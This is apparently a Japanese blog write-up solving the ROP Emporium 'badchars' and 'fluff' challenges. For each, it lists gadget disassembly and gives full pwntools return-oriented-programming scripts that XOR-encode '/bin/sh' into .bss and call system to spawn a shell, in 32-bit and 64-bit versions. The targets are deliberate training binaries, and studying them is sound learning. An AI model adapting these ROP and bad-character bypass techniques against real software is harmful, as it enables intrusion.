ACCE55_DE21ED

競プロとCTF

ROP Emporium埋め 後半 その1

ROP Emporium埋め 前半の続きです。

後半、書くことが長くなるので更に2つに分けます。

環境 : Ubuntu 20.04 LTS

$ lsb_release -a
LSB Version:    core-11.1.0ubuntu2-noarch:printing-11.1.0ubuntu2-noarch:security-11.1.0ubuntu2-noarch
Distributor ID: Ubuntu
Description:    Ubuntu 20.04 LTS
Release:    20.04
Codename:   focal

5. badchars

32bit

badcharsとして、b i c / <space> f n sを入力文字列に入れると変えられるという仕組みになっています。

明らかに/bin/sh意識してますよね。そこでusefulGadgetsを見てみると...

08048890 <usefulGadgets>:
 8048890:   30 0b                   xor    BYTE PTR [ebx],cl
 8048892:   c3                      ret    
 8048893:   89 37                   mov    DWORD PTR [edi],esi
 8048895:   c3                      ret    
 8048896:   5b                      pop    ebx
 8048897:   59                      pop    ecx
 8048898:   c3                      ret    
 8048899:   5e                      pop    esi
 804889a:   5f                      pop    edi
 804889b:   c3                      ret    
 804889c:   66 90                   xchg   ax,ax
 804889e:   66 90                   xchg   ax,ax

前回同様 mov [edi],esi がありますが、これに加えて xor [ebx],cl もあります。

clというのはecxの下位8bitです。ついでにpop ebx; pop ecx;もありますね。/bin/shをxorでエンコードしろって事なんでしょうか。

という訳で、ROPの流れとしては

  1. bss領域に/bin/shそれぞれの文字を0xffとのxorでエンコードしたものを書き込む。
  2. ecxに0xffを書き込み、clを0xffにする。
  3. ebxに文字を読み込み、1文字ずつxorでデコードする。
  4. system('/bin/sh')を呼び出す。

xorは2n回やれば元に戻ります。月刊競技プログラミングは役に立つ!

from pwn import *
def f(s):
    res=0
    s=s[::-1]
    for i in s:
        res+=ord(i)
        res*=0x100
    return res//0x100
    
elf=ELF("./badchars32")
p=process("./badchars32")

payload=b"A"*44
payload+=p32(0x8048899) # pop esi; pop edi; ret;
payload+=p32(f('/bin')^0xffffffff)
payload+=p32(elf.bss())
payload+=p32(0x8048893) # mov [edi],esi; ret;
payload+=p32(0x8048899) # pop esi; pop edi; ret;
payload+=p32(f('/sh\x00')^0xffffffff)
payload+=p32(elf.bss()+0x4)
payload+=p32(0x8048893) # mov [edi],esi; ret;
payload+=p32(0x8048897) # pop ecx; ret;
payload+=p32(0xff)

for i in range(8):
    payload+=p32(0x08048916) # pop ebx; ret;
    payload+=p32(elf.bss()+i)
    payload+=p32(0x8048890) # xor [ebx],cl; ret;

payload+=p32(elf.plt['system'])
payload+=b"AAAA"
payload+=p32(elf.bss())

p.sendlineafter(b"n s\n> ",payload)
p.interactive()

シェルが起動すると気持ちが良いですね。 あ^〜たまらねえぜ。

64bit

/bin/sh\x00の最後までデコードしようとすると何故か落ちるので、途中までにしました(なんで???)

理由が分かる方いたらコメントお願いします。

from pwn import *
elf=ELF("./badchars")
p=process("./badchars")

def f(s):
    res=0
    s=s[::-1]
    for i in s:
        res+=ord(i)
        res*=0x100
    return res//0x100

payload=b"A"*40
payload+=p64(0x400b33) # ret;
payload+=p64(0x400b3b) # pop r12; pop r13; ret;
payload += p64(f('/bin/sh\x00')^0x0000ffffffffffff)
payload+=p64(elf.bss())
payload+=p64(0x400b34) # mov[r13],r12; ret;

for i in range(6):
    payload+=p64(0x400b40) # pop r14; pop r15; ret;
    payload+=p64(0xff)
    payload+=p64(elf.bss()+i)
    payload+=p64(0x400b30) # xor [r15],r14; ret;

payload+=p64(0x00400b39) # pop rdi; ret;
payload+=p64(elf.bss())
payload+=p64(elf.plt['system'])

p.sendlineafter(b"f n s\n> ",payload)
p.interactive()

6. fluff

32bit

この問題好き過ぎる!パズルになっててマジで楽しい!!!競プロと似た感覚ですね。

questionableGadgets関数の中身はこうなっています。

08048670 <questionableGadgets>:
 8048670:   5f                      pop    edi
 8048671:   31 d2                   xor    edx,edx
 8048673:   5e                      pop    esi
 8048674:   bd be ba fe ca          mov    ebp,0xcafebabe
 8048679:   c3                      ret    
 804867a:   5e                      pop    esi
 804867b:   31 da                   xor    edx,ebx
 804867d:   5d                      pop    ebp
 804867e:   bf be ba ad de          mov    edi,0xdeadbabe
 8048683:   c3                      ret    
 8048684:   bf ef be ad de          mov    edi,0xdeadbeef
 8048689:   87 ca                   xchg   edx,ecx
 804868b:   5d                      pop    ebp
 804868c:   ba d0 ce fa de          mov    edx,0xdefaced0
 8048691:   c3                      ret    
 8048692:   5f                      pop    edi
 8048693:   89 11                   mov    DWORD PTR [ecx],edx
 8048695:   5d                      pop    ebp
 8048696:   5b                      pop    ebx
 8048697:   30 19                   xor    BYTE PTR [ecx],bl
 8048699:   c3                      ret    
 804869a:   66 90                   xchg   ax,ax
 804869c:   66 90                   xchg   ax,ax
 804869e:   66 90                   xchg   ax,ax

これを組み合わせてbss領域に/bin/sh\x00を書き込みましょう!

まず、書き込むのは0x8048693のmov [ecx],edxだろうと容易に予想がつきますね。

残念ながらpop ecxpop edxもないので、上手くecx,edxに値を代入する必要があります。

ここで、0x804867bのxor edx,ebxと0x804868cのmov edx,0xdefaced0に注目しましょう。 edxに0xdefaced0を代入してから、edxをebxでxorを取ることで任意値を代入できます(バイナリ内にpop ebxもあります)。

edxに任意値を代入する事ができたので、次はecxに注目してみます。0x8048689でxchg edx,ecxがありますね。つまり、edxに任意値を 代入した後でこの命令を走らせれば、ecxに任意値を書き込む事ができます。

これでedx,ecxに任意値を書き込む事ができる事が分かりました。最後のmov命令では、retまでの間にecxにblでxorを取っていますが、 blはebxの下位8bitなので、1つ前のpop ebxでebxに0を入れておけば何も起きません。

というわけで、エクスプロイトコードは以下のようになります。 一発でシェルが起動した時はかなりの快感でしたね。

from pwn import *
elf=ELF("./fluff32")
p=process("./fluff32")

def f(s):
    res=0
    s=s[::-1]
    for i in s:
        res+=ord(i)
        res*=0x100
    return res//0x100

payload=b"A"*44

def rewrite(ecx,edx):
    res=b""
    res+=p32(0x0804868c) # mov edx,0xdefaced0; ret;
    res+=p32(0x080483e1) # pop ebx; ret;
    res+=p32(ecx^0xdefaced0)
    res+=p32(0x0804867b) # xor edx,ebx; pop ebp; mov edi,0xdeadbabe; ret;
    res+=p32(0)
    res+=p32(0x08048689) # xchg edx,ecx; pop ebp; mov edx,0xdefaced0; ret;
    res+=p32(0)
    res+=p32(0x080483e1) # pop ebx; ret;
    res+=p32(f(edx)^0xdefaced0)
    res+=p32(0x0804867b) # xor edx,ebx; pop ebp; mov edi,0xdeadbabe; ret;
    res+=p32(0)
    res+=p32(0x08048693) # mov DWORD PTR [ecx],edx; pop ebp; pop ebx; xor [ecx],bl; ret;
    res+=p32(0)
    res+=p32(0)
    return res

payload+=rewrite(elf.bss(),'/bin')
payload+=rewrite(elf.bss()+4,'/sh\x00')

payload+=p32(elf.plt['system'])
payload+=b"AAAA"
payload+=p32(elf.bss())

p.sendline(payload)
p.interactive()

64bit

レジスタの名前が変わった以外のロジックはほぼ同じです。

今回はretをダミーの後と、pltの呼び出し前に置いたら上手く行きました。

まぁpwntoolsの機能でgdbのattachできるのでmovapsで落ちてるとかはすぐ気がつけます。

from pwn import *
elf=ELF("./fluff")
p=process("./fluff")

def f(s):
    res=0
    s=s[::-1]
    for i in s:
        res+=ord(i)
        res*=0x100
    return res//0x100

payload=b"A"*40
payload+=p64(0x40082c) # ret;

def rewrite(r10,r11):
    res=b""
    res+=p64(0x400822) # xor r11,r11; pop r14; mov edi,0x601050; ret;
    res+=p64(0)
    res+=p64(0x400845) # mov r11d,0x602050; ret;
    res+=p64(0x400832) # pop r12; mov r13d,0x604060; ret;
    res+=p64(r10^0x602050)
    res+=p64(0x40082f) # xor r11,r12; pop r12; mov r13d,0x604060; ret;
    res+=p64(0)
    res+=p64(0x400840) # xchg r11,r10; pop r15; mov r11d,0x602050; ret;
    res+=p64(0)

    res+=p64(0x400822) # xor r11,r11; pop r14; mov edi,0x601050; ret;
    res+=p64(0)
    res+=p64(0x400845) # mov r11d,0x602050; ret;
    res+=p64(0x400832) # pop r12; mov r13d,0x604060; ret;
    res+=p64(f(r11)^0x602050)
    res+=p64(0x40082f) # xor r11,r12; pop r12; mov r13d,0x604060; ret;
    res+=p64(0)
    res+=p64(0x40084e) # mov QWORD PTR [r10],r11; pop r13; pop r12; xor BYTE PTR [r10],r12b; ret;
    res+=p64(0)
    res+=p64(0)
    return res

payload+=rewrite(elf.bss(),'/bin/sh\x00')
payload+=p64(0x40082c) # ret;
payload+=p64(0x004008c3) # pop rdi; ret;
payload+=p64(elf.bss())
payload+=p64(elf.plt['system'])

p.sendline(payload)
p.interactive()